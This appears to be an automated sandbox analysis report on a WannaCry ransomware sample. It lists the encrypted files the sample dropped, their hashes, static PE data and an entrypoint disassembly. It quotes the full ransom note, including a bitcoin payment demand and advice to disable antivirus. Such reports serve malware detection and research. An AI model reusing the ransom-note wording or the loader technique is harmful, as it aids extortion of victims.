                                    Preview:WANACRY!.....+.."D)eaQ.u..o....5.4,V.d*.9R\..K..2.E..e....u1..=.2b>)~.2..f...X...23.!..@........Z.36?..UA..tc_..N<..va..k.>e..'.!d.f<...%..}<s.@.:.j..>..y.-...Lj.....V..hQ......r.MFK(..N.C.G[..<....6eD.S....d:.7g.....B..#Y7..J$.......EK..x.%....;E..Tj.....h).=.....!......b.=....y.P..@.6.W."^<../..8.A.*....2.%tG.u..H.}...a..9.....B.1.2.y..Z..k...o...cb-T.....U...FB.{.....o(Z...BI....U.=.4.+..Y.uY...NrI\.N....$.?...#b3_}..F....;{j.F.... n...K&bC........./...:\)..~..aL..qa.u.U..<.G-@.h5._............dYL.J...NW..k...D..P.I.Xo.<lj.^.v..a..'@..K....b3J..J.B.u:@[-..,..x...lm......J....va.....m.{..-.BZu&......o.4l..1 Kd.[.H.v.]u....$.#........#.V..(wi.2....r1......P.<.DN..V.q.1$8....GR.....7..W.(.j.W-. .F..jcC..d.W..R..!...,..[.#..J...BBl.N...> ..D.ms......Z..aJ....NO..+..y.....8.\...'.o.j....O..U6D.Lo!F......b.wA[...b....b.K..+...I.s....!.5....s0.I.9...q.G<.L.(.M...T.V...3h.h.....~(......-}...,....\.q,..B^$..H.q...... ....d.+.,.....<......$.E

                                    C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingsglobals.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):44792
                                    Entropy (8bit):7.995826907622453
                                    Encrypted:true
                                    SSDEEP:768:8eRQFw19C+X1ELKWCEl1xZrhejtGJwst91TDmn6tXEK2BKNzuQTj+VqFAuiR+B:8Cz1QmxEljJYjtGJTnTt4Kwaiqh
                                    MD5:127F2F223A6998AF53DBCFCDD83FE870
                                    SHA1:A8D1992E9719F656CB98B0253AC1F5C156F0D7EE
                                    SHA-256:65E83810A08F484C767EF868166A7CAF8521B16BA0EA12939FFB7B31F23909DF
                                    SHA-512:9655E121FDBF61CBEE39C4CD9AAB2626B54C083F36E063DD66A7BE634782724F5EC4E9735AECFFFCA44A92BA7936868537A24F52335E1E57568AF733CE72AAA8
                                    Malicious:true
                                    Preview:WANACRY!.....i[.X..A..<.S.X.A...........o.z.'a..J2..W...h1......"......'.d....<1.#....3`.+.Cc.......d63....Y.~....g.Q...M.....o.9..X../?...P....\.b..'........<....w...Jr..Q...`.D*.4M.4l3.....6.Z..b.......f.z..:')8..j0...oF..}..[.L..I.?.Vd......eV.7.............k(o...."*=.r9..me....N;..R...!|...1.......cR....@.m.....%..J$Z(.#.W.7^2K......h.-.....=7U.m....]f....`o.D...P.b..r9.......(....l..........*..|..4...^H...`..J.]...m..d...n7....X....7........L..eK@.a8.1d..&..g:*@..[.....!.t.A~...L....k.~vA..~..nM>...k.P..=....._..&..5!...R.\...%{.,..(..v.r...c..T.:.dg...`..4.g7p..b6.)_._..'...2Lro.Yy...\#>.(.%P..c.]t6.Qz..8...O...(...cG.B..zn..aCj.5....zw\R;.&-..b..o{>.~{...i.....*.F...**.ER..g.Yi.k...cR.u/.B..E....@...t..Y..xa..g..(.kT.0..L.....,..{.A[$..........E[?....hv.....[I.(H..l{.2...2.........)..>...#_....7g\.<@$..(q...U.!.KP....Mj...4....u....N.~d\....._ .w.Iy..<....h...O....j..G..<..6.|.4.....C.V.l`.....g.Qmp...A...c9.=.....H..#

                                    C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\settingssynonyms.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):104008
                                    Entropy (8bit):7.998167766173852
                                    Encrypted:true
                                    SSDEEP:1536:yHgCm0Vc16vz48uxqdRXc3dUF3jcJNe3LUEqOdJVv8nkN04rUurymUvm4NHYJ:yHQ71+45wRXcy3oJhWJ5P9/yWgYJ
                                    MD5:8E8C8F9249D61B92D073EA1E69BD6D15
                                    SHA1:9C4DF8CDB219A23006DC219F94B5FEF9087E9D34
                                    SHA-256:583569E46147535D32A6C3F94C5421FC5201A406BCDDB768EF13A322EB06105F
                                    SHA-512:FE14DE48FDEB37BEA3E258CC7194541FE81BF21FBB6BF05BF9605C69B6AD13729F79DAB09A778274A5E9F403065835C5694D9CAF83DD5FA8892E68EC3D00CFBD
                                    Malicious:true
                                    Preview:WANACRY!...........'..Y....4e.w"..R<...'n..O|n&.Bj...0F..c.,.......P.D;...v...,..x.I.{A..kL..=..Gq.s..4.....ZA2...z.....U|....b...<....*.....tz..?...$...x.....'...f.3*o..(....2.$`.h.M.%7..FI....5...$DO.M...&yv..=7!V?.q.v..H.....&......S!&A.~.;{.}.mnT......%.........CG...3..G#9;..i..*.j.K.V.o^.+..,{...n...f..k......X`2..).]V..2*#..._R5.`..fm\.m....Ri..u...A.f...bB_Q.HG^<L.%.b..3U..N#....5.s........$^>2.S.....+<...Ec.h........g .!.t.d.._..n....j....Re.k.6...6..$.HK.,....QC.lk..p..-...JA.:.f.ySw...,f...~.C.....+.h.a8@.S.......].j.o...IDw.......d..S...\.pi.^..}.....yk..*[#...m&.5JI@.......9Lti....Wp.Y$.C..a....|.;\..3'..]%F...M...p.F..ssCi-.C.h..........CHd.;..u{......I...........e.>.s3..P,.7Z.>....77..........[v....QxC.0...EF..T~^0l.P..z'R..\.'.#.4.6...j....x.i.\.DeG.....5=!..M..D...fL#e..g......T...%....H$P.|..hA..g.D,4.jQ..O.8......d.X?F.....E..>..;.Y......8.oOn..Y?T.hM.=.H[.m.|.. .....O....Y.>t#.....<....d?.K....2.....r...t.6^..E&O...Y..[-..g

                                    C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\0.0.filtertrie.intermediate.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):217800
                                    Entropy (8bit):7.999165341761425
                                    Encrypted:true
                                    SSDEEP:6144:E8ktZX1Ii4KrYAPv+kDLvQQ3N8Ag5O9z3LkRtJxx41oc:OtZFIxoYAnZHD3a5O9z7atLx1c
                                    MD5:9E6983C44594CFA8FC371AC74E70DC70
                                    SHA1:EC56B2F3B2DBA8A6665DB8F580E1E7C0EFB06D74
                                    SHA-256:71694A507ED72FB0B5B7BD567B7301AAF23B831D9EF3D39FACE97DE179C51042
                                    SHA-512:AFEAB199612AB6D21A6C755DC20484BB23CD9AC2EA45A3A0502714C5EDDD94BB8A28BAC51F74644B51160AAEE543AFA4581C1E925010CC1688A48092900DCEF0
                                    Malicious:true
                                    Preview:WANACRY!............v.yb ...%..cI7[p_4.R.*.'Z..Y.).I...R...91y+M....Y.|.A.....\.....@".3.4.X.f?/.g.R..h~...R..U1i.{MB!-[Q.P?../........#>.../.J.K.+..e^...(.x....}._."...qpwm..O.U.Y.k.5.|.6....3....^..,>B..+.&"R...<.0i..)..>.#..^...G..>p.=6u...!._.d.[d.p.SP.....Q.........WQ'....{.?...<.:...\........w...h..i.`'..]..z.W.@..._...C....~..sR%...W.&t.\2.q..!.r..X5k.3..8n...W...E.>.=f9...^f7b3..Xa..Q/....T.C!.U.kj.=|.A.....J4T...b.b[..S|...5..B.r..8-o.kc....6...eO&..Cc...6.k..=Ym.F....nM..y'.2J'G)6......_)..L.&..?,..F......r.}d.2.1..'../.7!....;.........'"k..&.o5...3...m....:..}.k..#..;S!M...K:..Ea..f.....%.....|.. \J.2.. ..uY.I..]....D.'..i...g.ga.*O..........jRD....z.....s.T].${@.<...R.....i,.k.....-.9p. .Zw.>...0......?..?..|xw.sw}..........i..C./H....7...:.A...).....Q...*.d.Yo..y..>....#9.cQ,r..v4..M.&$^.]w".8...wK..C...y....q^m}.I.>.&%.k./.../N..V......C..po....Z.zX.wq.@EL.Q..&J....TN..;b+.J]W......T....)O..*D..R.,.!|..(.U.C..E....2"..

                                    C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\0.0.filtertrie.intermediate.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):217800
                                    Entropy (8bit):7.99932849162195
                                    Encrypted:true
                                    SSDEEP:6144:zS8hA8F1mRgSUVnjJFZaTzOZtIll4L95i4wB:zPA1hUVj8ll47i4a
                                    MD5:93DDE503DFD054B53D61EC3DC81BB230
                                    SHA1:57DA159AC1C4E9DCF5802C1BB6CD666392033388
                                    SHA-256:F2CF90E782997F57862948417A913F24F0B7D5CED9AAD416BC8328955C015081
                                    SHA-512:82BA5894524D91F6E0B6800CFDE40128719ED044F2387650633818CD9BD1DA9A3F771DB04C182A5BA4EAF1B87F44CCF178E72944935CEDB9DC33037482034EA4
                                    Malicious:true
                                    Preview:WANACRY!....[..k.+@u..j.(..pz,{...........|U.?az..t........M.......;n..Mzd!-'.G....C....8..;.gUCzw.)..&...Sh..>....7.^g...-.o2.[O..)...4<.P...T(.^..5./.}aU....e...D...%.hP.m.q....F.+.... ...wl..<.E."G....L.J...Z5.O^...v...6..,\.S.s0.Z...s.../..!..9"N.....Q......z..)M.Q.C..x..?.G<5....l.(O.p.Ng...../..l.g...D..J..6.C..%.....d.....cf..h.*....Ij.F.[']/..W.t...........UK...c&*.J.. . W..H.H.p..5.}.K.@#.;..H......*Zm.~..*.@.(.6.........:&.P0I..-3...x.q.....;/.:y..6z..B.k{..}.8n.1.....t'.66|Hv.Cj.......A..Vc.Nu....n.C.u..fF [6.A.n,/...O.......2.A....A....x.[.J.T..c.[.F...:.6..O..8........7.7%x.%u..El.(..HqkQ...$........l..|(......@@}...D.g.v.8.v.|../h...[.P=.a....J]...1cg..e..K;{......$.#...&y.tt'.....E.O........T.^.....C.^...=..Fd..O...j.m....L.......{.Y..b.6?...L.*F..s.ms..$...f..G..H#..?.rJlu.d.D..M.NhE.(<.e..,.8'.#.[.W.c#..........Y]!.x..f.<.$....q..pp+...t;.+.#.VV........R.g..Y..2z....r..H....:u.E....kA......9...N<.Q..w..A.:C...+.69...

                                    C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133409637954002018.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):105208
                                    Entropy (8bit):7.998242560971169
                                    Encrypted:true
                                    SSDEEP:1536:uYfm+iQrRM097IBujxq0O4IZAWHgbV9TMAoDybNHcxi0oHLwsQVnER14hAKS:uKrm097IZNsbVVMAKUHsoHZcna4hO
                                    MD5:5F18526466605BB6B1E113BD2D91F808
                                    SHA1:F17E92D7384D080ECFE012F0B26BEC02140E3056
                                    SHA-256:C8E71382F917071019ADE263C659A0E975ABDD8B4C93D61DE7D1B8AF5214FB0B
                                    SHA-512:5B06DE87555AE4F9840DBAD6778FF27FA44FABBEFEF8BC467C9EFBD51611A8ABA893D11F39C6D794B2CBE695C4CA81DEDACD7A4AE2B06BE611E51530424770B8
                                    Malicious:true
                                    Preview:WANACRY!.....lWy.X-.. ...b=SsP.2..Y+w.nve.....m.CJ."9....{._.4.'..F.kE......P9I...].U.z....k.... A.;...*:..w.C.r..f.6...^.M..F.RF..<.4q.5.e!..N/..p.B.*.._t....W.u.7.U...s...Y...C..?4'(....N..9.M...]..Sv..-:..x......uh<|./..`z.i.>....%RN.l..... KV....K..m.3............Y.K.4..x.]V....f,..gT^..../.g.q.T.Y....\...H].R.f.....1..3......,.l.......o-......."...T..'...3G....P!.Et......R.;.......i._...P,.WlZ..S^..V-W..Ox..T.*^r..L..E....vSOVV.......`X.SL:........@.....T...O)sx)...3#.kmvZ2&d.!.e..w7Tz.d_.+.lh.._=...;.%.G'......\.... .?...J.$..A......Ox..]...m8.5..`.D..S~..FE+..P!.j3>.....2..>..a .F$...u..1..{..{.....]i.......d...*....~c..Z^.._<[iE..p..w.j^.(.%n&...|9..h.N5<...N.(...b.e......%..<fl...4.Ei..;...kU......_..N."...."...X..,.=_......Fy.@.X..5=.[P'...O1.....2....)P.....Hd....(A.9.D..y..$..n.....GAS......3.~.BA.b..~..6.....`/7.%a...UM..f.a..}..&............zb.#..>.;".h..TV..5H..B.-r.J&..o...3.<.Ag.K<O....:...>Q.d..B.!.xTv...........):.

                                    C:\Users\jones\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):696888
                                    Entropy (8bit):7.9997238481771475
                                    Encrypted:true
                                    SSDEEP:12288:sFeMRg2dTueTvT1LyJZz8G7NX76O1gd9+ORLkzbYtOw9JhQz9+EdPqsAnNFdKv:sFeMhXTvT1md85OadczsBHKUEdunMv
                                    MD5:6A84C509DF203A5FE915D5E3F6D63324
                                    SHA1:B450C1C01B93E195D2997664543C37EB5526AB8B
                                    SHA-256:48DBC1B82F431F5BA64A57DC5C5955A5A45F0225F8E6DAA046181E1E7171D637
                                    SHA-512:82486F3F1F695BF07C59D60814999733A0C60E9E1E44902EC75257BB1581C097EFBBC225EB0CCDC7CEBCDFDA4F865BA48D42D8B7749FA7890BCBFD5C56345EE2
                                    Malicious:true
                                    Preview:WANACRY!....C.S...bn..k./....y...u..LXc.#..a.>-L.....'G..R.j$.8.t^.....!2E....[.V.....MwC.......Uo$..q.Z.[\...W.#*,d_......H...}b..1Gg....P..G.....;.]..........(..`.C.Y.B.{.`.....PG..e.TW.c{>.p...J..F=....-...*.1.v+@.[.......E.[..W^fI.|.........................._...e.......D%...X......].I{@..N..?..T...|C..\.o.a....lrd.I....\.}.JG.F..Sm.b.t.....+6...9;..b.o...R.c..0....."........'...b.r.*.T5./............s.+n>.Z..(..Gq}....t.;..;......_...4.q.7.......k......G...X......J6x......N.O.^..z]..$zR.w].d...4W.....O$x.;..B....P.g)....X...q...j9,*+....:.kU3....Ovm..O.2.$....l....1..+..Z..7.......Bl.?......;.m;}~m.....,..d.W!trs&.H...@.y_K..|......kt...R..\..4.<..:i.fo>)O...G.....Y..H....f.+.d.A~C..z5YF.y..L..(..e"K..D..C..G..A........uN.....J(.\.v.,G.Tn.....e...w.?...3.r(.iq.ne...B...0.........o9.ra.`F...P..h...!Gg.."A.S...A&&w6.E..8Y.B..f...A%*.t....\7.wT.{.^P........,o.R..5t.F..x..d... ..`...u.T[..&Dq...|..S...!..t....b...o.~2......=pTG

                                    C:\Users\jones\AppData\Local\Temp\@Please_Read_Me@.txt

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:ASCII text, with CRLF line terminators
                                    Category:dropped
                                    Size (bytes):933
                                    Entropy (8bit):4.710902136409594
                                    Encrypted:false
                                    SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                    MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                    SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                    SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                    SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                    Malicious:false
                                    Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                    C:\Users\jones\AppData\Local\Temp\@WanaDecryptor@.exe.lnk

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 22:50:30 2024, mtime=Thu Jul 25 22:50:30 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                    Category:dropped
                                    Size (bytes):580
                                    Entropy (8bit):5.1602313887772375
                                    Encrypted:false
                                    SSDEEP:12:8ORypzYNbQthdUoTAjAtNo9UNlpKJ2JzBmV:8ORBq9UAJlpKJ2Jtm
                                    MD5:E56DDAF80E047E701D2E3E291DA97217
                                    SHA1:FF3DE5A812301977F3F06321805CE59D7D19A1A6
                                    SHA-256:46615DA1D754A5FB40E04B1A9E5CD51D71958AFA9D87EFE674CCAC66354A6706
                                    SHA-512:B0269A491C82F918E9F0AC3E1877B0C5F0697C0D4F51B080CA036CF34036EBC8FFEC75DD2551D2CFB40DC8B7CA1429E7EF93D69C53CA70B7957CD64A5E4EAA6D
                                    Malicious:false
                                    Preview:L..................F.... ....n.n.....n.n.....`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...B,Ho......`o......t.2......J.2 .@WANAD~1.EXE..X.......XP..XP......=........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......]...............-.......\...........'q.......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......701188...........hT..CrF.f4... ..../Tc...,......hT..CrF.f4... ..../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                    C:\Users\jones\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):18200
                                    Entropy (8bit):7.989734130676925
                                    Encrypted:false
                                    SSDEEP:384:+wkbr7NQEt2D6T55GaM10uiqsK4/6k7HMlOoUJa/3GlaBgM248qQY19Q:hgvNrYY5GaMe5d7HMlZUU4rUTy
                                    MD5:DF9882DECEFC5C73900F96418972DE46
                                    SHA1:C2A64EAB805126B6468E424C3AE7D624673BF4EB
                                    SHA-256:323B265C2E0C3E7830FF7734DA320BBFB26C97D99AAB640193546950E329BC2E
                                    SHA-512:C6C211A3789C014B08DE697670191248C7C85E0C49D7FCEA462DB7CECD8428FF9E7A668B5569908024CE929D2151D55D859E0C0DEF1F37B4509FCC92476C1493
                                    Malicious:false
                                    Preview:WANACRY!.........O..>...o?.fBh....$..%.ch...%.L..9..8......wG.>.`G5..W..iP{...C.46.T..V^s..\....#l.#]..!.....72....Yv.......~..x!...zn.Y<..w5t....].f[oY.{....&..{...+...:.M.?i.?...t..^....Q.U..&..f|.H........I._`,........S~...R..'.a.....x..9.[...2<..\......E......D:kJ-i@...4.1bC.[...M]...Z.........63.^9...'.7 ..e..b..]o.....P^a..;._...b=T......P....8.v;Yn.0.V..... ...a...k.g.....R..Zl...-..P....T...> ......\.%.@S.w........f+..%6ZN<..^T.=U...~.Hn.n6.C..C......\3p.w..@-.../-..~.........4..:...n...d.$.O..^....p..t... 8......2|u .$.fk|.2&.....O.WI.-....N4...bP.b."...I.u.k......y...p...@....E...&l?Q..]{.y...\!.-*.P...G...B..z -.....L..w..uD./..Eq..f..j.#....(...1A..L.lAB.r.1.........h...8.]..v..7..g.A.g...j.....O.Kr.c%>)....-h.X......d.3..*kO@.....U.W..j.j...P..+4..z+#.........l......'....p.J....w!?.....7'_....Q.(....w{.K.=.....S?..h...:+.{..{D..Y.R...tJq.....(.j%u....&..v..T......3-..V.I\...)i?.*.!....C*.y}.m.:.h..[Q....U|q@

                                    C:\Users\jones\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):67976
                                    Entropy (8bit):7.9975735872495255
                                    Encrypted:true
                                    SSDEEP:1536:8z8sRRSP+dChq6k+Iyr94AcClauP3Yfm70u+:8z8sR0mxSZrZcCp3YoO
                                    MD5:FB8E150297463256F78818ACF4A24DB0
                                    SHA1:ACD12DAAA8B83AAC7DC1D8D3C43AFFA9A3DE9057
                                    SHA-256:492C699CF50F6BAC3CAE3CD50126CBB101DB39E35424DD885D47C1C9EEBDF392
                                    SHA-512:4B97CA56A538F30DD3C31F7F9D0C9C3ADDAEE45728A102129E4970C565029ECC8DC0F12505522EA8973A9EAEC0DCB6577EF30C64A1323C63FAA4BE28A3DEC32C
                                    Malicious:true
                                    Preview:WANACRY!....>eg.Pb.P(?...9.2CF..Y{io&8.m..Z1..5".*..=]..k.e...V0c-J)=...z=..i..n..A...5.1!....xh.qA.H.!.hJ.......U]@.t.3....9.o...p..2...i=..u...*[..*X..}......us-...!.._..4D."...;K:...F..H.!y....... RZ..M.._.x.j...:.'..-L."`uN.qs.|).......ex&v.....p......d.........g.2..3j...LC.J..[7.V/K......^~..O_d`.;.q[]....Zf..u.&.D.>.7L....\0..*s..W._....s..i..80....\./..u'.......<..e..X>..........m....zR..g.....3...K.C}.<p.V...Y...j.<..y.{.w...a6..............xd.3.~4...8E...n....MoA...\<@.._...o....{D...u...[Z.f.....t]kI.~.DP./UsBM.J)..\.x..n.i.?!9.~{B..LL...>i.h.>.o..7."KV.m.r....*{.....g..".3...}fU...........4=..k..'..=J....W.S.|...|35..l,.........j.=.....T.....[...6.Y........HF..1....W:mI%rY.y..."VuJg.OEx..SP..!....O..K u.6..,<..B}y...``t..V............!.2.|......!.p....*.}a+<G....FH%!.$O.....I..(.&.>...]#........;.d....L.....J..r.........e....U.b."&..W...l[y.c..i.....X[.J`s(s..S-.K.U....au.-._.O..N.I.T.dV...C.K...+,xriL.%......p.M.........X..

                                    C:\Windows\appcompat\Programs\Amcache.hve

                                    Download File
                                    Process:C:\Users\user\AppData\Local\Temp\wBQInv.exe
                                    File Type:MS Windows registry file, NT/2000 or above
                                    Category:dropped
                                    Size (bytes):1835008
                                    Entropy (8bit):4.417078757640188
                                    Encrypted:false
                                    SSDEEP:6144:ucifpi6ceLPL9skLmb0moSWSPtaJG8nAgex285i2MMhA20X4WABlGuN45+:7i58oSWIZBk2MM6AFBeo
                                    MD5:B65208EF4F9C8E30CB534FFF73D3B3AB
                                    SHA1:07F96FEF01A86718479F22DD34A1601C7A18F0E4
                                    SHA-256:99DA731E4ED4E86B6DD112742303C82C046B63EC1D002FDFD35F92D460621CB9
                                    SHA-512:7FF120141C3FE7B7B0C15A4431A0A0BE5BCE887739C9BB7BDF2D47593660499F47DC17673238FE96E3DBC4A873A9C327D79190A8A35B35FDE11899553F735A3E
                                    Malicious:false
                                    Preview:regfF...F....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..Qm................................................................................................................................................................................................................................................................................................................................................A.GY........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                    Static File Info

                                    General

                                    File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                    Entropy (8bit):7.9925650690603876
                                    TrID:
                                    • Win32 Executable (generic) a (10002005/4) 99.96%
                                    • Generic Win/DOS Executable (2004/3) 0.02%
                                    • DOS Executable Generic (2002/1) 0.02%
                                    • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                    File name:ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File size:3'534'848 bytes
                                    MD5:47ca2af9d739bf1a16d8480fd875e782
                                    SHA1:c2e60a77a411e93a86813a678315e65c1a4727e3
                                    SHA256:5064c5a2e7ead815daffd1dc3126ce6286240404f4416ce5f4f5550fa3c3a820
                                    SHA512:386c0e991b020a520bb90a780799ac23e281e1cb4106345071d2549a31c13e29c8c9d9ae10f21326eab36146e5b59405fa66873f3a7a408e31639f18b926ef85
                                    SSDEEP:98304:XqPoBhz1aRxcSUDk36SAEdhvxWa9P593R8yAVp2g3:XqPe1Cxcxk3ZAEUadzR8yc4g
                                    TLSH:E9F533F4E221B7ACF2550EF64855C59B6A9724B1EBEF1E26DA8001A71D84F3F8FC0491
                                    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:...T...T...T...X...T..._...T.'.Z...T...^...T...P...T.g.....T...U...T..._...T.c.R...T.Rich..T.........................PE..L..

                                    File Icon

                                    Icon Hash:00928e8e8686b000

                                    Static PE Info

                                    General

                                    Entrypoint:0x75a000
                                    Entrypoint Section:];Au~
                                    Digitally signed:false
                                    Imagebase:0x400000
                                    Subsystem:windows gui
                                    Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                    DLL Characteristics:
                                    Time Stamp:0x4CE78F41 [Sat Nov 20 09:05:05 2010 UTC]
                                    TLS Callbacks:
                                    CLR (.Net) Version:
                                    OS Version Major:4
                                    OS Version Minor:0
                                    File Version Major:4
                                    File Version Minor:0
                                    Subsystem Version Major:4
                                    Subsystem Version Minor:0
                                    Import Hash:68f013d7437aa653a8a98a05807afeb1

                                    Entrypoint Preview

                                    Instruction
                                    push ebp
                                    mov ebp, esp
                                    sub esp, 0000016Ch
                                    xor eax, eax
                                    push ebx
                                    push esi
                                    push edi
                                    mov dword ptr [ebp-24h], eax
                                    mov dword ptr [ebp-10h], eax
                                    mov dword ptr [ebp-14h], eax
                                    mov dword ptr [ebp-08h], eax
                                    mov dword ptr [ebp-0Ch], eax
                                    mov dword ptr [ebp-20h], eax
                                    mov dword ptr [ebp-18h], eax
                                    mov dword ptr [ebp-48h], 49514277h
                                    mov dword ptr [ebp-44h], 652E766Eh
                                    mov dword ptr [ebp-40h], 00006578h
                                    mov dword ptr [ebp-3Ch], 00000000h
                                    call 00007FA408F4E065h
                                    pop eax
                                    add eax, 00000225h
                                    mov dword ptr [ebp-04h], eax
                                    mov eax, dword ptr fs:[00000030h]
                                    mov dword ptr [ebp-28h], eax
                                    mov eax, dword ptr [ebp-04h]
                                    mov dword ptr [eax], E904C483h
                                    mov eax, dword ptr [ebp-04h]
                                    mov dword ptr [eax+04h], FFCAD549h
                                    mov eax, dword ptr [ebp-28h]
                                    mov eax, dword ptr [eax+0Ch]
                                    mov eax, dword ptr [eax+1Ch]
                                    mov eax, dword ptr [eax]
                                    mov eax, dword ptr [eax+08h]
                                    mov ecx, dword ptr [eax+3Ch]
                                    mov ecx, dword ptr [ecx+eax+78h]
                                    add ecx, eax
                                    mov edi, dword ptr [ecx+1Ch]
                                    mov ebx, dword ptr [ecx+20h]
                                    mov esi, dword ptr [ecx+24h]
                                    mov ecx, dword ptr [ecx+18h]
                                    add esi, eax
                                    add edi, eax
                                    add ebx, eax
                                    xor edx, edx
                                    mov dword ptr [ebp-30h], esi
                                    mov dword ptr [ebp-1Ch], edx
                                    mov dword ptr [ebp-34h], ecx
                                    cmp edx, dword ptr [ebp-34h]
                                    jnc 00007FA408F4E1AEh
                                    movzx ecx, word ptr [esi+edx*2]
                                    mov edx, dword ptr [ebx+edx*4]
                                    mov esi, dword ptr [edi+ecx*4]
                                    add edx, eax
                                    mov ecx, dword ptr [edx]
                                    add esi, eax
                                    cmp ecx, 4D746547h
                                    jne 00007FA408F4E0B4h
                                    cmp dword ptr [edx+04h], 6C75646Fh
                                    jne 00007FA408F4E0ABh

                                    Rich Headers

                                    Programming Language:
                                    • [C++] VS98 (6.0) SP6 build 8804
                                    • [EXP] VC++ 6.0 SP5 build 8804

                                    Data Directories

                                    NameVirtual AddressVirtual Size Is in Section
                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                    IMAGE_DIRECTORY_ENTRY_IMPORT0xd5a80x64.rdata
                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0x100000x349fa0.rsrc
                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
